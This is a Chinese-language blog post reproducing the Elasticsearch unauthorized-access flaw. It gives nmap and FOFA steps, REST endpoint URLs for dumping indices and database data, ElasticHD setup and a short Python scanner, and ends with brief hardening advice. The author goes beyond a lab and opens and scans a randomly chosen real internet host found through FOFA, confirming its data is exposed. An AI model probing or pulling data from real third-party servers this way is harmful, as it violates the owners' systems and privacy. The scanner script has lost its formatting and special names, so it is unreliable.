Elasticsearch未授权访问漏洞复现

简述

Elasticsearch是一个开源的高扩展的分布式全文搜索引擎,他可以近乎实时的存储、检索数据,本身扩展性很好,可以扩展到上百台服务器,处理PB级别的数据,Elasticsearch也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能,但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性,从而让全文搜索变得简单。

漏洞原理:Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。

 

一、本地漏洞验证

1.信息收集

nmap -sV 192.168

image.png

2.漏洞复现,

访问地址:http://192.168.20.68:9200/

image.png

 

二、外网探索漏洞

我用FOFA搜索开放了9200端口的IP,获得1,687,803条数据

image.png

 

随便打开一个ip的9200端口,发现存在漏洞

image.png

 

再使用nmap扫描一下ip,发现漏洞确实存在,而且看其他端口的服务,可能存在的漏洞还不少,今天就不探讨其他漏洞了。

image.png

三、信息查看

elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)。http://localhost:9200/cat/indices里面的indices包含了river一般就是安装了river了。

http://localhost:9200/rvier/search就可以查看敏感信息了

http://localhost:9200/_plugin/head/ web管理界面

http://localhost:9200/_cat/indices

http://localhost:9200/river/search 查看数据库敏感信息

http://localhost:9200/_nodes 查看节点数据

 

http:// localhost:9200/_cat/indices获取所有的index

image.png

http:// localhost:9200/_mapping?pretty=true 获取index下的所有type

image.png

http:// localhost:9200/pv_fun_all/school/_search?pretty=true 获取该index下该type下的内容

image.png

 

四、漏洞利用

3.1 还可以在kali中搭建ElasticHD,在浏览器中远程连接就可以看到ES节点服务器可视化数据的全貌了

下载地址:

https://github.com/360EntSecGroup-Skylar/ElasticHD/releases/download/1.4/elasticHD_linux_amd64.zip

1.可以下载好了再复制进kali,也可以直接在kali中下载

wget https://github.com/360EntSecGroup-Skylar/ElasticHD/releases/download/1.4/elasticHD_linux_amd64.zip

 

2.解压

unzip elasticHD_linux_amd64.zip

 

3.加权限

chmod 777 ElasticHD

 

4.运行ElasticHD

exec ./ElasticHD -p 127.0.0.1:9801

我运行完命令,终端会自动关闭

 

5.打开浏览器访问http://127.0.0.1:9801/

在浏览器中访问127.0.0.1:9801, 在下面输入需要探索的ip地址,然后点击connect就可以看到泄露的信息,点击模块Query还可以查看详细信息。

image.png

 

3.2  Python未授权访问脚本

#! /usr/bin/env python

*  coding:utf-8 *

import requests

def Elasticsearch_check(ip, port=9200, timeout=5):

try:

  url = "http://"+ip+":"+str(port)+"/_cat"

  response = requests.get(url)

except:

  pass

if "/_cat/master" in response.content:

  print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

if name == 'main':

Elasticsearch_check("127.0.0.1")

 

五、加固方案

1、限制IP访问,绑定固定IP

2、在config/elasticsearch.yml中为9200端口设置认证:

  http.basic.enabled true #开关,开启会接管全部HTTP连接

  http.basic.user "admin" #账号

  http.basic.password "admin_pw" #密码

  http.basic.ipwhitelist ["localhost", "127.0.0.1"]

 

参考链接

https://yq.aliyun.com/articles/616757

https://blog.csdn.net/qq_32393893/article/details/105387471.

https://blog.csdn.net/qq_44108455/article/details/108102982?spm=1001.2101.3001.4242

 

声明:

本文仅限于大家技术交流和学习,严谨读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞支持一下。谢谢各位读者大老爷。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值